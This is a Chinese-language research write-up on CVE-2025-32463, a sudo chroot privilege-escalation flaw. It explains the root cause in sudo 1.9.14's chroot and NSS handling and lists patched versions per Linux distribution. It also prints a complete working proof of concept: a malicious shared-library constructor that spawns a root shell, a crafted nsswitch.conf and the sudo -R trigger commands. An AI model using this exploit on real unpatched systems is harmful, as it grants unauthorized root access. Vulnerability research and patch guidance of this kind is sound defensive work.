CVE-2025-32463 研究筆記

前言

上週在公司內部接收到了關於 CVE-2025-32463 這個 CVE 的 PoC。
一看發現是關於 Sudo 這個套件的提權漏洞，於是來研究研究。

研究開始

Sudo’s -R (–chroot) option is intended to allow the user to run a command with a user-selected root directory if the sudoers file allows it. A change was made in sudo 1.9.14 to resolve paths via chroot() using the user-specified root directory while the sudoers file was still being evaluated. It is possible for an attacker to trick sudo into loading an arbitrary shared library by creating an /etc/nsswitch.conf file under the user-specified root directory.

我也在我 GitHub 上製作了一個驗證的環境。

原因

這是因為 v1.9.14（2023 年 6 月）進行了以下變更：

Sudo 版本記錄：

Improved command matching when a chroot is specified in sudoers. The sudoers plugin will now change the root directory id needed before performing command matching. Previously, the root directory was simply prepended to the path that was being processed.

在 v1.9.14 中，plugins/sudoers/pivot.c 新增了兩個函數：pivot_root() 與 unpivot_root()。
在這兩個函數呼叫之間，系統會進行 NSS（名稱服務切換）查詢。
問題在於：這些查詢會載入 chroot 內的 /etc/nsswitch.conf，而這是一個由使用者控制的、不可信的檔案。
因此，Sudo 允許低權限使用者對其有寫入權限、但不可信任的目錄呼叫 chroot()，這造成了風險：

即使 sudoers 中沒有設定 runchroot 或 chroot 規則。
Sudo 在某些情況下仍可能自動執行 chroot()。
使用者可藉由利用繞過技巧，引誘 sudo 對他們控制的目錄執行 chroot。

Sudo 不應對使用者可寫的路徑執行 chroot()，除非明確授權，否則低權限使用者可能會濫用這個機制。

完整的提權流程如下：

建立惡意的 .c 檔案：

__attribute__((constructor)) void what_happened(void) {
    setreuid(0, 0);
    setregid(0, 0);
    chdir("/");
    execl("/bin/bash", "/bin/bash", NULL);
}

constructor 屬性確保 Shared Object 一被載入就執行這段程式碼。

在 chroot 環境內建立 /etc/nsswitch.conf：

1	passwd: /what_happened

系統會將 /what_happened 當作 NSS 模組名稱解析並轉換為 libnss_what_happened.so.2。
glibc 會嘗試載入該 Shared Object。

觸發 sudo 進入未受信任的 chroot 環境並執行：

使用 sudo -R what_happened 將根目錄 chroot 至使用者控制的目錄。
chroot 過程中，sudo 或 glibc 會執行 NSS 查詢。
讀取 chroot 內的 /etc/nsswitch.conf，發現 passwd: /what_happened。
系統試圖載入 libnss_what_happened.so.2 → 載入並執行惡意 payload。
成功取得 root 權限，完成提權。

Sudo chroot

chroot 是將程式或 Process 限制在特定目錄中執行，使其無法存取系統中的其他檔案與路徑。
這種方式通常用於隔離或測試，例如 FTP Server 可以使用 chroot 將使用者限制在 /home/user 目錄下。
然而，Linux 的 chroot man page 明確指出：chroot 並不是強而有力的安全邊界。

This call changes an ingredient in the pathname resolution process and does nothing else. In particular, it is not intended to be used for any kind of security purpose, neither to fully sandbox a process nor to restrict filesystem system calls.

Sudo 提供 -R <目錄> 或 --chroot=<目錄> 參數來執行 chroot 的呼叫，即「在執行指令前切換至指定的根目錄」。但這並不是常見功能，可能是為了支援某些特殊用途而設計的。

範例

1	lowpriv ALL = CHROOT=/web /bin/bash

這條規則允許 lowpriv 使用者在 /web 目錄下執行 /bin/bash。在此範例中，使用者不需手動指定 chroot 目錄，而是由 sudo 在執行前自動將根目錄切換到 /web。
換句話說，當使用者執行以下指令時：

1	sudo /bin/bash

sudo 會自動將它轉換為：

1	chroot /web /bin/bash

也就是說：

系統會先將根目錄 chroot 到 /web。
然後在 /web 內尋找並執行 /bin/bash。
低權限使用者會被限制在 /web 目錄中，而該目錄變成他們的虛擬根目錄。

NSS (Name Service Switch)

NSS（名稱服務切換，Name Service Switch）是一種由 Linux/Unix 系統使用的機制，用來查找以下資訊：

使用者（passwd）
群組（group）
主機名稱（hosts）
網域名稱服務（dns）
其他與系統帳號相關的資料（例如 shadow、netgroup 等）

NSS 透過設定檔 /etc/nsswitch.conf 來決定每種查詢要使用哪些資料來源，以及查詢的順序。例如：

1
2
3

passwd:     files ldap
group:      files ldap
hosts:      files dns

這表示：

在查詢使用者或群組時，系統會先查詢 Local 的 /etc/passwd 和 /etc/group，再查詢 LDAP。
在查找主機名稱時，會先查詢 /etc/hosts，再使用 DNS。

一些實作細節：

NSS 是透過 glibc 提供的 libnss_*.so 模組實作的（例如 libnss_files.so、libnss_dns.so 等），每個資料來源對應一個獨立的共享函式庫。

PoC

cat > what_happened.c << 'EOF'
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void what_happened(void) {
    setreuid(0, 0);
    setregid(0, 0);
    chdir("/");
    execl("/bin/bash", "/bin/bash", NULL);
}
EOF

mkdir -p what_happened/etc libnss_
echo "passwd: /what_happened" > what_happened/etc/nsswitch.conf
cp /etc/group what_happened/etc

gcc -shared -fPIC -Wl,-init,what_happened -o libnss_/what_happened.so.2 what_happened.c

sudo -R what_happened what_happened

受影響版本

此區域由 jimchen5209 補充

官方套件

受影響版本： 1.9.14 to 1.9.17
修正版本： 1.9.17p1

Archlinux

修正版本： 1.9.17.p1-1

Ubuntu

Ubuntu 25.04 修正版本： 1.9.16p2-1ubuntu1.1
Ubuntu 24.10 修正版本： 1.9.15p5-3ubuntu5.24.10.1
Ubuntu 24.04(LTS) 修正版本： 1.9.15p5-3ubuntu5.24.04.1
Ubuntu 22.04 及以下未受影響。

Debian

Debian testing 修正版本： 1.9.16p2-3
Debian 12 及以下未受影響。

RHEL

RHEL 10 受影響，但更新目前未釋出。
RHEL 9 及以下未受影響。

Fedora

Fedora 41、42、43 修正版本： 1.9.17-2.p1
Fedora 38、39、40 受影響，但因為這些版本已經 EOL（End of Life），因此不會再釋出更新。
Fedora 37 及以下未受影響。

其他 Linux 發行版可參考 GitHub Advisory Database。